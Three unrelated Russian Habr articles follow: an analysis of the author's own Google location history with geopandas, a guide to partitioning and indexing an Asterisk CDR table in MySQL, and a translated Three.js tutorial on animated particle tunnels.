Я зарабатываю на жизнь парсингом и очисткой JSON. Однако в области науки о данных это называется **извлечением признаков**. Мне это нравится гораздо больше. Хорошо, *технически* это не [то, что есть извлечение функций](https://towardsdatascience.com/feature-extraction-techniques-d619b56e31be), но мне от этого легче. По сути, я анализирую координаты `shapely.geometry.Point` широты и долготы в структуре данных, анализирую временные метки и пытаюсь извлечь активность, если таковая имеется. Ничего фантастического. Это дает таблицу (или, я бы сказал, `DataFrame`) с… 1 миллионом наблюдений за 8 лет. Страшный. Смотреть на эти необработанные данные бессмысленно, очевидно, мы хотели бы нанести их на карту реального мира!
### Построение карты мира
Оказывается, нам нужен так называемый шейп-файл с границами для рисования. Я где-то их нашел и после многих итераций сумел нарисовать раздавленную карту мира:
```
# http://thematicmapping.org/downloads/world_borders.php
world = gp.read_file('./TM_WORLD_BORDERS-0.3/TM_WORLD_BORDERS-0.3.shp')
def draw_map(df, box):
box_only = df[df.geometry.within(box)]
minx, miny, maxx, maxy = box.bounds
base = world.plot(color='white', edgecolor='silver', figsize=(16,16))
base.set_xlim(minx, maxx)
base.set_ylim(miny, maxy)
ax = box_only.plot(ax=base, marker='o', markersize=8)
```
`df` представляет собой `DataFrame` наблюдение за местоположением, а `box` представляет собой интересующий нас прямоугольник. Это будет поддерживать масштабирование в будущем. Вот результат:
Это что-то. Меня больше всего беспокоит то, что мои данные относятся к 2013–2020 годам. Я посетил некоторые из этих мест много лет назад, в то время как в других местах есть данные только вчера. Было бы здорово как-то отличить поездки из далекого прошлого от совсем недавних. Например, используя разные цвета. Более того, вместо того, чтобы статически назначать несколько цветов месяцам и годам, я предпочел бы иметь гладкую палитру, которая динамически подстраивается под данные. Это заняло у меня некоторое время, но вот улучшенная версия:
```
def seconds(timestamp):
return timestamp.to_pydatetime().timestamp()
def calculate_pal(df2, cmap):
min_ts = seconds(df2.timestamp.min())
max_ts = seconds(df2.timestamp.max())
return df2.timestamp.apply(lambda ts: cmap((seconds(ts) - min_ts) / (max_ts - min_ts))).tolist()
def compute_legend(df, ax, cmap, steps):
vals = [x / (steps - 1) for x in range(steps)]
custom_lines = [Line2D([0], [0], color=cmap(step), lw=4) for step in vals]
labels = [df.timestamp.quantile(step).strftime("%Y-%m-%d") for step in vals]
ax.legend(custom_lines, labels, loc="lower right")
def draw_map(df, box):
box_only = df[df.geometry.within(box)]
minx, miny, maxx, maxy = box.bounds
base = world.plot(color='white', edgecolor='silver', figsize=(16,12))
base.set_xlim(minx, maxx)
base.set_ylim(miny, maxy)
cmap = cm.get_cmap('viridis')
pal = calculate_pal(box_only, cmap)
ax = box_only.plot(ax=base, marker='o', color=pal, markersize=8)
compute_legend(box_only, ax, cmap, 5)
```
`calculate_pal()` назначает цвет каждой точке данных в зависимости от ее положения на временной шкале. Самые старые точки темно-синие / фиолетовые. Самые новые желтые с зеленым между ними. Мне также удалось построить динамичную легенду. Хватит, покажи мне карту!
```
draw_map(df, sg.box(-140, -20, 140, 70))
```
### Давайте изучим мои локации!
Как видите, я, скорее всего, живу где-то в центральной Европе. Давайте немного увеличим масштаб:
```
draw_map(df, sg.box(-10, 30, 50, 70))
```
Ага, это Польша прямо посередине. Увеличение:
```
draw_map(df, sg.box(14, 49, 24, 55))
```
Хорошо, надеюсь, вы знаете, где находится Польша, но найти ее столицу не так-то просто. Как видите, я живу в Варшаве, откуда начинаются все мои путешествия. Эта звездчатая структура символизирует различные поездки и каникулы. Например минимум три поездки на север по берегу моря. Прямые линии - это два раза, когда я забыл выключить GPS в самолете. Хорошо, давай посмотрим, где я живу:
```
draw_map(df, sg.box(20.6, 52, 21.3, 52.5))
```
Ой, извините, это была картина Джейсона Поллока. Вот что я имел в виду:
При небольшом увеличении можно увидеть три горячие точки: север, юго-запад и центрально-восток. Они представляют мою текущую и предыдущую квартиру, а также центр города, где я работаю:
```
draw_map(df, sg.box(20.88, 52.17, 21.05, 52.32))
```
### Извлекаем информацию об активностях
Мы также извлекали информацию об активностях, помните? Вы хотите видеть только точки данных, обозначенные как `IN_VEHICLE` (на автобусе или за рулем автомобиля)?
```
draw_map(df[df.activity == 'IN_VEHICLE'], sg.box(20.88, 52.17, 21.05, 52.32))
```
Посмотрите, насколько отличается карта, если `ON_FOOT` учитывать только активность:
```
draw_map(df[df.activity == 'ON_FOOT'], sg.box(20.88, 52.17, 21.05, 52.32))
```
В этом есть смысл, я использую автобус или машину, чтобы ехать на большие расстояния, тогда как пешие прогулки больше сосредоточены на одной области. Если не считать треугольника в нижней половине… (?) Примерно в 2016 году (посмотрите легенду) я пробегал около 10 км от офиса до квартиры. И Google это знает.
### Больше информации
Вот так выглядит квартал вокруг моей предыдущей квартиры:
```
draw_map(df, sg.box(20.88, 52.17, 20.93, 52.22))
draw_map(df, sg.box(20.895, 52.19, 20.915, 52.21))
```
Вы можете ясно видеть, где находится моя квартира, а также каждую улицу. Еще одна интересная находка: я переехал из этого места примерно в 2016 году. Однако с 2020 года очень мало желтых точек. Оказывается, поблизости есть железнодорожный путь, которым я пользуюсь, когда еду в Краков, Познань или Гданьск.Хорошо, а как насчет путешествий и отпусков? Смотреть необработанные данные GPS приятнее, чем семейные фотографии! Это фантастическая конференция JCrete (un):
```
draw_map(df, sg.box(23.4, 35.15, 24.3, 35.65))
```
Судя по всему, я был там дважды в 2016 и 2017 годах, однако в 2016 году данные намного ограниченнее. Имеет смысл, поскольку с 2017 года мобильный роуминг стал практически бесплатным в Европейском Союзе, поэтому у моего телефона было гораздо больше возможностей шпионить за моим местоположением. Годом ранее я большую часть времени был офлайн. Еще интересные карты: отдых на Шри-Ланке:
… И Таиланд / Камбоджа / Вьетнам:
```
draw_map(df, sg.box(95, 6, 112, 17))
```
Как видите, я люблю гулять во время отпуска.
### Сколько данных собирал Google за день?
Один миллион точек данных за 8 лет составляет в среднем несколько сотен местоположений, собираемых ежедневно. Однако он сильно варьируется. Я хотел найти дни, когда Google собирал намного больше данных:
```
def dt_to_date(dt):
return dt.date()
def aggregate_by(df, fun):
tuples = [(activity, df[df.activity == activity].groupby(df.timestamp.apply(fun)).activity.agg('count'))
for activity
in df.activity.drop_duplicates()]
return pd.DataFrame(dict(tuples))
by_day = aggregate_by(df, dt_to_date)
by_day.plot(figsize=[20,10])
```
Святой дым, 3 тысячи наблюдений 28 июня 2016 года! Разделим это по часам:
```
busy_day = df[df.timestamp.apply(dt_to_date) == dt.date(2016, 6, 28)]
busy_day.groupby(busy_day.timestamp.dt.hour).agg('count').geometry.plot.bar(figsize=[12, 9])
```
Почти 250 точек данных всего за час!
### Гистограмма высоты
И последнее, но не менее важное: давайте посмотрим на гистограмму моей высоты с течением времени:
```
df.altitude.plot.hist(figsize=[20,10], bins=200, log=True)
```
Обратите внимание на логарифмическую шкалу. Режим около 130 метров, что имеет смысл - я живу в Варшаве. Кроме того, я очень редко бываю на высоте более 2000 метров - опять же, самая [высокая гора в Польше](https://en.wikipedia.org/wiki/Rysy) находится на высоте 2499 метров над уровнем моря. Все, что выше, либо за границей, либо измерения внутри самолета.
### Выводы
Хорошо, рисование кучи диаграмм, очевидно, не делает меня специалистом по данным. Но все равно выглядит круто. Кроме того, удручает то, сколько данных мы готовы отдать. Имейте в виду, что это лишь малая часть того, что есть у одной из многих корпораций. Полный Notebook, включая все изображения, [доступен на GitHub](https://github.com/nurkiewicz/google-location-history/blob/master/Google%20location%20history.ipynb). Конечно, за исключением необработанных данных о местоположении, потому что я ценю свою конфиденциальность... | https://habr.com/ru/post/581062/ | null | ru | null |
# CDR. Сохранить и приумножить
Очень часто, созданию базы данных CDR отводится мало места в описаниях настройки. Как правило, все сводится к цитате SQL команд и обещанию, что если кинуть ее в консоль то «все будет ОК».
К примеру, первая же ссылка в гугле рекомендует создать табличку таким образом:
>
> ```
> CREATE TABLE `cdr` (
> `calldate` datetime NOT NULL default '0000-00-00 00:00:00',
> `clid` varchar(80) NOT NULL default '',
> `src` varchar(80) NOT NULL default '',
> `dst` varchar(80) NOT NULL default '',
> `dcontext` varchar(80) NOT NULL default '',
> `channel` varchar(80) NOT NULL default '',
> `dstchannel` varchar(80) NOT NULL default '',
> `lastapp` varchar(80) NOT NULL default '',
> `lastdata` varchar(80) NOT NULL default '',
> `duration` int(11) NOT NULL default '0',
> `billsec` int(11) NOT NULL default '0',
> `disposition` varchar(45) NOT NULL default '',
> `amaflags` int(11) NOT NULL default '0',
> `accountcode` varchar(20) NOT NULL default '',
> `userfield` varchar(255) NOT NULL default ''
> );
>
> ALTER TABLE `cdr` ADD INDEX ( `calldate` );
> ALTER TABLE `cdr` ADD INDEX ( `dst` );
> ALTER TABLE `cdr` ADD INDEX ( `accountcode` );
> ```
>
Сразу можно обратить внимание, что как минимум два индекса в базе бесполезны. Это calldate и accountcode. Первый в силу того, что при ежесекундном добавлении записей, размер индекса будет равен количеству записей в самой базе. Да, этот индекс отсортирован, и можно применить некоторые способы к ускорению поиска, но будет ли он эффективен? Второй индекс (accountcode) **практически** никогда и никем не используется. В качестве подопытной базы — база с 80 млн записей.
Выполним запрос:
```
SELECT * FROM CDR WHERE src=***** AND calldate>'2016-06-21' AND calldate<'2016-06-22';
/* Affected rows: 0 Найденные строки: 4 Предупреждения: 0 Длительность 1 query: 00:09:36 */
```
Почти 10 минут ожидания.
Другими словами, создание отчетов становится проблемой. Конечно, табличку можно ратировать, но зачем такие жертвы, если достаточно провести оптимизацию.
**Внимание! Никогда не делай это в продакшене! Только на копии базы! База лочится на время от 1 часа до нескольких и возможны потери данных при аварийном завершении!**
Итак, два шага к успеху эффективного хранения CDR:
1. Разбить на партиции, чтобы ускорить выборку по периодам
2. Эффективное индексирвоание
Шаг 0. Выбор движка хранения
Собственно есть два распространенных варианта — MyISAM и INNODB. Холиварить на эту тему можно бесконечно долго, но сравнение движков на реальной базе дало перевес в пользу MyISAM.
Причин тут несколько:
* При чистой настройке сервера неопытным админом, именно MyISAM более корректно работает при индексации больших объемов. В то время, как INNODB требует тюнинга. В противном случае можно увидеть интересные ошибки о том, что индекс не может быть перестроен
* MyISAM при включении опции FIXED ROW приобретает дополнительные свойства, а именно:
1. Устойчивость к сбоям даже при падении сервера
2. Возможность читать файл напрямую из внешнего приложения, минуя сервер MySQL, что бывает полезно
3. Скорость обращения к рандомным строкам выше, за счет того, что все строки имеют одинаковую длину
Другими словами, для логирования лучше всего (ИМХО) подойдет MyISAM.
Остановимся на нем.
### Шаг 1. Партиции.
В виду того, что мы либо дополняем базу, либо читаем из нее, эффективно раз и навсегда поделить базу на файлы, чтобы уменьшить возможное количество обращений, при чтении определенных временных промежутков. Естественно, разбивать базу нужно по какому-то ключу. Но по какому? Определенно, это должно быть время, но эффективно ли бить базу по calldate? Думаю нет, поэтому вводим дополнительное поле, которое нам также пригодиться и в следующем шаге. А именно — дату. Просто дату, без времени.
Вводим дополнительное поле date, и делаем очень простой триггер на табличку, before update cdr:
```
BEGIN
SET new.date=DATE(new.calldate);
END
```
Таким образом, в это поле у нас попадет только дата. И сразу разбиваем табличку на партиции по годам:
```
ALTER TABLE cdr PARTITION BY RANGE (YEAR(date))
(PARTITION old VALUES LESS THAN (2015) ENGINE = MyISAM,
PARTITION p2015 VALUES LESS THAN (2016) ENGINE = MyISAM,
PARTITION p2016 VALUES LESS THAN (2017) ENGINE = MyISAM,
PARTITION p2018 VALUES LESS THAN (2018) ENGINE = MyISAM,
PARTITION p2019 VALUES LESS THAN (2019) ENGINE = MyISAM,
PARTITION p2020 VALUES LESS THAN (2020) ENGINE = MyISAM,
PARTITION p2021 VALUES LESS THAN (2021) ENGINE = MyISAM,
PARTITION p2022 VALUES LESS THAN (2022) ENGINE = MyISAM,
PARTITION p2023 VALUES LESS THAN (2023) ENGINE = MyISAM,
PARTITION pMAXVALUE VALUES LESS THAN MAXVALUE ENGINE = MyISAM)
```
Готово, теперь если мы будем выборку делать с указанием диапазона даты, то MySQL не придется лопатить всю базу за все года. Небольшой плюсик уже есть.
### Шаг 2. Индексируем базу.
Собственно, это самый важный шаг. Эксперименты показывают, что в 90% случаев возникает необходимость в индексах на 3 столбцах (по мере необходимости):
1. date
2. src
3. dst
#### date
MySQL может использовать только один индекс за раз, поэтому некоторые администраторы пытаются создавать составные индексы. Эффектность их не очень высока, потому что как правило приходиться выбирать диапазоны, а в этом случае составные индексы игнорируются MySQL, т.е. происходит FullScan. Исправить поведение скуля мы не можем, но можем сделать так, чтобы количество строк для сканирования было минимальным и дать движку выбор, какой индекс использовать. С одной стороны, нам необходима максимальная подробность индекса, с другой стороны нам нужно затратить как можно меньше операций, чтобы получить диапазон, который мы будем перебирать. Именно поэтому и рекомендую использовать индекс по полю date, а не calldate. Количество элементов в индексе будет равно количеству дней, с момента начала ведения базы, что позволит базе быстро перейти к нужным строчкам.
Есть еще один споcоб помочь базе — сделать так, чтобы она могла вычислить положение строки в файле еще ДО открытия файла. Именно для этого можно использовать FIXED ROW. Положение строки в файле будет вычисляться умножение номера строки на длину строки, а не перебором. Естественно, у того подхода есть жертвы — база будет занимать на диске значительно больше места. Вот к примеру:
Размер базы вырос с 18 Гб до 53,8 Гб. Делать или нет — выбор каждого админа, но если место на сервере позволяет, то это будет еще одним плюсиком.
#### src,dst
Тут несколько меньше простора для оптимизаций. Точнее, один момент:
Если у вас не используется текстовых номеров, например в софтфонах, то данные поля можно преобразовать в BigInt, что тоже очень хорошо скажется на индексировании и выборке. Но если, Вы как и мы, используете текстовые номера, то данная оптимизация не для вас и придется смириться с более низкой производительностью.
В качестве вишенки на торте — подчищаем те поля, которые нас не интересуют и выставляем размер полей в ожидаемый для нашего случая. У меня получилось вот так:
Ну и финальный запрос:
```
SELECT * FROM CDR WHERE src=***** AND date='2016-06-21';
/* Affected rows: 0 Найденные строки: 4 Предупреждения: 0 Длительность 1 query: 0,577 sec. */
```
Прирост на два порядка.
Для примера еще, по диапазону:
```
SELECT * FROM CDR WHERE src=***** AND date>'2016-09-01' AND date<'2016-09-05';
/* Affected rows: 0 Найденные строки: 1 Предупреждения: 0 Длительность 1 query: 3,900 sec. */
``` | https://habr.com/ru/post/318770/ | null | ru | null |
# Как на Three.Js сделать анимированный туннель из частиц
Один из организаторов митапов для креативных разработчиков в Бельгии Creative Front-end Belgium в двух постах на CodePen рассказывает и показывает, как шаг за шагом сделать туннель из частиц с эффектом движения в нём. К старту [курса по Frontend-разработке](https://skillfactory.ru/frontend?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_200821&utm_term=lead) делимся сокращённым переводом этих статей об анимации, которая, по словам автора, нравится ему больше всего; вы увидите эксперименты с параметрами анимации, поэтому легко поймёте, как адаптировать код для своих нужд, например, для эффекта на сайте или в вашей игре.
---
Если есть что-то, что мне действительно нравится, то это туннельная анимация. Ниже расскажу, как сделать эту анимацию.
1. Устанавливаем сцену
----------------------
Я добавил в демо ниже основу инициализации сцены Three.Js.
* Холст HTML (canvas).
* Немного CSS для приятного глазу отображения.
* Рендерер WebGL, сцена, камера и красный куб, чтобы удостовериться, что всё работает.
Не забудьте добавить на страницу библиотеку Three.Js.
Если вы видите куб, это значит, что можно продолжать:
### 2. Создаём геометрию трубы
Чтобы создать трубу в Three.Js, сначала нам нужен его маршрут, для получения которого воспользуемся конструктором THREE.CatmullRomCurve3(), который позволит создать плавный сплайн из массива вершин. В этой демонстрации я жёстко закодировал массив точек, которые конвертирую в Vector3(). Со своим массивом вершин при помощи упомянутого конструктора вы можете создать свой маршрут:
```
//Hard coded array of points
var points = [
[0, 2],
[2, 10],
[-1, 15],
[-3, 20],
[0, 25]
];
//Convert the array of points into vertices
for (var i = 0; i < points.length; i++) {
var x = points[i][0];
var y = 0;
var z = points[i][1];
points[i] = new THREE.Vector3(x, y, z);
}
//Create a path from the points
var path = new THREE.CatmullRomCurve3(points);
```
Получив маршрут, на его основе можно создать трубку туннеля:
```
//Create the tube geometry from the path
//1st param is the path
//2nd param is the amount of segments we want to make the tube
//3rd param is the radius of the tube
//4th param is the amount of segment along the radius
//5th param specify if we want the tube to be closed or not
var geometry = new THREE.TubeGeometry( path, 64, 2, 8, false );
//Basic red material
var material = new THREE.MeshBasicMaterial( { color: 0xff0000 } );
//Create a mesh
var tube = new THREE.Mesh( geometry, material );
//Add tube into the scene
scene.add( tube );
```
Сейчас вы должны видеть на сцене вращение трубы.
### 3. Труба туннеля из полигона SVG
В большинстве случаев жёстко кодировать маршрут не хочется. Можно написать функцию генерации случайного множества точек по какому-то также случайному алгоритму. Но в этой демо мы получаем значения из некоего SVG, созданного в Adobe Illustrator. Если вы не хотите кривую Безье, Illustrator экспортирует маршрут как полигон, например так:
```
```
Из полигона мы можем вручную конвертировать SVG в массив:
```
var points = [
[68.5,185.5],
[1,262.5],
[270.9,281.9],
[345.5,212.8],
[178,155.7],
[240.3,72.3],
[153.4,0.6],
[52.6,53.3],
[68.5,185.5]
];
//Do not forget to set the last parameter to True, since we want our tube to be closed
var geometry = new THREE.TubeGeometry( path, 300, 2, 20, true );
```
Если есть причина, вы можете создать функцию динамического конвертирования.
Слева вы видите полигон. Труба следует за установленными нами точками.
### 4. Перемещаем камеру в трубе
У нас есть труба, осталась основная часть — анимация. Воспользуемся полезной функцией маршрута — path.getPointAt(t). Эта функция возвращает точку конкретного процента прохождения маршрута. Этот процент — нормализованное значение от нуля до единицы. 0 — первая точка маршрута, 1 — последняя точка. Чтобы расположить камеру вдоль маршрута, применим функцию на каждом кадре:
```
//Start the percentage at 0
var percentage = 0;
function render(){
//Increase the percentage
percentage += 0.001;
//Get the point at the specific percentage
var p1 = path.getPointAt(percentage%1);
//Place the camera at the point
camera.position.set(p1.x,p1.y,p1.z);
renderer.render(scene, camera);
requestAnimationFrame(render);
}
requestAnimationFrame(render);
```
Функция getPointAt принимает только значения 0 и 1, нужно разделить проценты по модулю на единицу, чтобы гарантировать, что значение не выйдет за пределы 1.
Это отлично сработает с позицией, но камера всегда смотрит в одном направлении. Сделаем так, чтобы камера также смотрела на точку вдоль маршрута, но немного дальше. На каждом кадре рассчитаем точку, где стоит камера, а также точку, на которую камера будет смотреть:
```
var percentage = 0;
function render(){
percentage += 0.001;
var p1 = path.getPointAt(percentage%1);
//Get another point along the path but further
var p2 = path.getPointAt((percentage + 0.01)%1);
camera.position.set(p1.x,p1.y,p1.z);
//Rotate the camera into the orientation of the second point
camera.lookAt(p2);
renderer.render(scene, camera);
requestAnimationFrame(render);
}
```
Есть несколько вариантов обновления материала. Сейчас мы имеем простой материал, который сторонами смотрит наружу. И даже теперь, когда камера внутри трубы туннеля, нам нужно изменить стороны. И, поскольку на сцене нет освещения, чтобы легко видеть происходящее, мы можем изменить материал на каркасный:
```
var material = new THREE.MeshBasicMaterial({
color: 0xff0000, //Red color
side : THREE.BackSide, //Reverse the sides
wireframe:true //Display the tube as a wireframe
});
```
Вуаля! Камера в трубе перемещается.
### 5. Добавляем освещение
Не стану вдаваться в детали, но покажу, как поставить основное освещение в трубе. Принцип тот же, что и с перемещением камеры: чтобы правильно разместить освещение, будем полагаться на точку, куда смотрит камера.
* Сначала создадим PointLight (источник света) и добавим его на сцену:
```
//Create a point light in our scene
var light = new THREE.PointLight(0xffffff,1, 50);
scene.add(light);
```
* Меняем материал на чувствительный к свету:
```
var material = new THREE.MeshLambertMaterial({
color: 0xff0000,
side : THREE.BackSide
});
```
* И, наконец, обновляем рендер функции, чтобы переместить свет:
```
var percentage = 0;
function render(){
percentage += 0.0003;
var p1 = path.getPointAt(percentage%1);
var p2 = path.getPointAt((percentage + 0.02)%1);
camera.position.set(p1.x,p1.y,p1.z);
camera.lookAt(p2);
light.position.set(p2.x, p2.y, p2.z);
renderer.render(scene, camera);
requestAnimationFrame(render);
}
```
И вот результат:
### 6. Давайте экспериментировать
На последнем шаге я создал форк и проиграл анимацию с несколькими параметрами, чтобы создать новую. Посмотрите исходник, если интересно.
Для этой демо я установил разные цвета каждой грани. Так получилась мозаика:
А здесь, чтобы сгенерировать маршрут, я играю с положением на оси Y. Таким образом труба изгибается не только в одной плоскости, а в трёх измерениях.
А здесь я создал пять туннелей различного радиуса и цвета. Они также имеют разную прозрачность для хорошей видимости:
Ниже я расскажу, как вместо простой геометрии TubeGeometry() сгенерировать частицы.
---
[Оригинал](https://codepen.io/Mamboleoo/post/tunnel-animation-2) второй части.
7. Расчёт положения частиц
--------------------------
Чтобы достичь желаемого результата, сгенерируем круги частиц, все вдоль маршрута. Тот же подход используется Three.Js при генерации трубы, с той лишь разницей, что для создания поверхности трубы добавляются грани. Сначала нужно выбрать деталь трубы и её радиус. Деталь устанавливается двумя значениями:
```
// The amount of circles that will form the tube
var segments = 500;
// The amount of particles that will shape each circle
var circlesDetail = 10;
// The radius of the tube
var radius = 5;
```
Теперь, когда мы более или менее знаем количество частиц (segments \* circlesDetail), рассчитаем трёхгранники Френе. Я не эксперт в этой области, но, насколько понимаю, нам нужно рассчитать трёхгранники Френе для каждого сегмента трубы. Каждый трёхгранник состоит из касательной, нормали и бинормали. Приблизительно эти значения являются значениями поворота для каждого сегмента, а также значениями указывающими, куда смотрит камера.
Если хочется лучше понимать расчёты, посмотрите [статью](https://en.wikipedia.org/wiki/Frenet%E2%80%93Serret_formulas) Википедии.
Благодаря Three.Js нам не нужно разбираться в том, как работает код, можно просто воспользоваться встроенной функцией объекта маршрута:
```
var frames = path.computeFrenetFrames(segments, true);
// True specify if the path is closed or not, in our case it must be
```
Результат функции — набор из трёх массивов Vector3():
fig:Теперь, имея всё необходимое для каждого сегмента, мы начнём генерировать частицы вдоль сегмента. Мы храним каждую точку частицы как Vector3 в Grometry() так, чтобы позже использовать точки повторно:
```
// Create an empty Geometry where we will insert the particles
var geometry = new THREE.Geometry();
```
Теперь частицы размещены в каждом сегменте. Вот для чего мы проходили циклом по всем сегментам. Я объясню, как работает функция. Посмотрите на код ниже, детали вы найдёте в комментариях:
```
// Loop through all segments
for (var i = 0; i < segments; i++) {
// Get the normal values of the segment from the Frenet frames
var normal = frames.normals[i];
// Get the binormal values of the segment from the Frenet frames
var binormal = frames.binormals[i];
// Calculate the index of the segment (from 0 to 1)
var index = i / segments;
// Get the coordinates of the point in the center of the segment
// We already used the function in the first part to move the camera along the path
var p = path.getPointAt(index);
// Loop for the amount of particles we want along each circle
for (var j = 0; j < circlesDetail; j++) {
// Clone the point in the center of the circle
var position = p.clone();
// We need to position every point based on an angle from 0 to Pi*2
// If you want only half a tube (like a water slide) you could calculate the angle from 0 to Pi.
var angle = (j / circlesDetail) * Math.PI * 2;
// Calculate the sine of the angle
var sin = Math.sin(angle);
// Calculate the negative cosine of the angle
var cos = -Math.cos(angle);
// Calculate the normal of each point based on its angle and the normal and binormal of the segment
var normalPoint = new THREE.Vector3(0,0,0);
normalPoint.x = (cos * normal.x + sin * binormal.x);
normalPoint.y = (cos * normal.y + sin * binormal.y);
normalPoint.z = (cos * normal.z + sin * binormal.z);
// Multiple the normal by the radius so that our tube is not a tube of 1 as radius
normalPoint.multiplyScalar(radius);
// Add the normal values to the center of the circle
position.add(normalPoint);
// Push the vector into our geometry
geometry.vertices.push(position);
}
}
```
Понять этот код действительно непросто. Я сам смотрел на исходники Three.Js, чтобы написать его. Вы можете посмотреть демонстрацию ниже, чтобы увидеть, как частицы вычисляются одна за другой. Нажмите кнопку Rerun, если труба уже видна полностью.
8. Создаём трубу
----------------
У нас есть заполненный вершинами объект Geometry. При помощи конструктора Points, позволяющего рендерить простые точки с прекрасной производительностью, вы можете создать приятные демонстрации с частицами, используя текстуры или различные цвета.
Точно так, как при создании сетки Mesh, нам нужно создать два объекта Points; нужен материал и геометрия. Но геометрию мы уже определили на шаге 5, так что теперь поработаем над материалом:
```
var material = new THREE.PointsMaterial({
size: 1, // The size of each point
sizeAttenuation: true, // If we want the points to change size depending of distance with camera
color: 0xff0000 // The color of the points
});
```
9. Добавляем перемещение
------------------------
Чтобы всё перемещалось, повторно задействуем код из предыдущих демо:
```
var percentage = 0;
function render() {
// Increase the percentage
percentage += 0.0005;
// Get the point where the camera should go
var p1 = path.getPointAt(percentage % 1);
// Get the point where the camera should look at
var p2 = path.getPointAt((percentage + 0.01) % 1);
camera.position.set(p1.x, p1.y, p1.z);
camera.lookAt(p2);
// Render the scene
renderer.render(scene, camera);
// Animation loop
requestAnimationFrame(render);
}
```
Простой туннель из частиц готов:
10. Красочный туннель
---------------------
Здесь я применил отдельный цвет для каждого вектора (Vector в коде), а также Fog на сцене, чтобы добиться эффекта затухания внутри туннеля:
```
// First create a new color based on the index of the vertice
var color = new THREE.Color("hsl(" + (index * 360 * 4) + ", 100%, 50%)");
// Push the color into the colors array in the Geometry object
geometry.colors.push(color);
var material = new THREE.PointsMaterial({
size: 0.2,
vertexColors: THREE.VertexColors // We specify that the colors must come from the Geometry
});
// Add some fog in the scene
scene.fog = new THREE.Fog(0x000000, 30, 150);
```
11. Пещера квадратов
--------------------
Этот туннель сделан из кубов. Вместо объекта Points в каждой позиции вершин я воспользовался объектом Mesh, а применяемые цвета основывались на алгоритме шума Перлина.
12. Октагональный туннель
-------------------------
Здесь я соединяю вершины каждой окружности, чтобы создать линии. Я играю с углом наклона вершин и их цветом, чтобы возникла иллюзия вращения:
```
or (var i = 0; i < tubeDetail; i++) {
// Create a new geometry for each circle
var circle = new THREE.Geometry();
for (var j = 0; j < circlesDetail; j++) {
// Push the position of the vector
circle.vertices.push(position);
}
// Duplicate the first vector to make sure the circle is closed
circle.vertices.push(circle.vertices[0]);
// Create a new material with a custom color
var material = new THREE.LineBasicMaterial({
color: new THREE.Color("hsl("+(noise.simplex2(index*10,0)*60 + 300)+",50%,50%)")
});
// Create a Line object
var line = new THREE.Line(circle, material);
// Insert into the scene
scene.add(line);
```
Из относительно простого, как будто плоского гипертекста веб превратился в пространство творчества, экспериментов, впечатлений. Если вы хотите посвятить себя веб-технологиям, то можете присмотреться к нашим курсам [по фронтенду](https://skillfactory.ru/frontend?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_200821&utm_term=conc) или [Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_200821&utm_term=conc), в рамках которых сможете поработать с HR, чтобы стать веб-разработчиком. Вы также [можете узнать](https://skillfactory.ru/courses/?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_200821&utm_term=conc), как начать карьеру или вывести свои навыки на новый уровень в других направлениях:
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_200821&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_200821&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_200821&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_200821&utm_term=cat)
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_200821&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_200821&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_200821&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_200821&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_200821&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_200821&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_200821&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_iosdev_200821&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_200821&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_200821&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_200821&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_200821&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_200821&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_200821&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_200821&utm_term=cat)
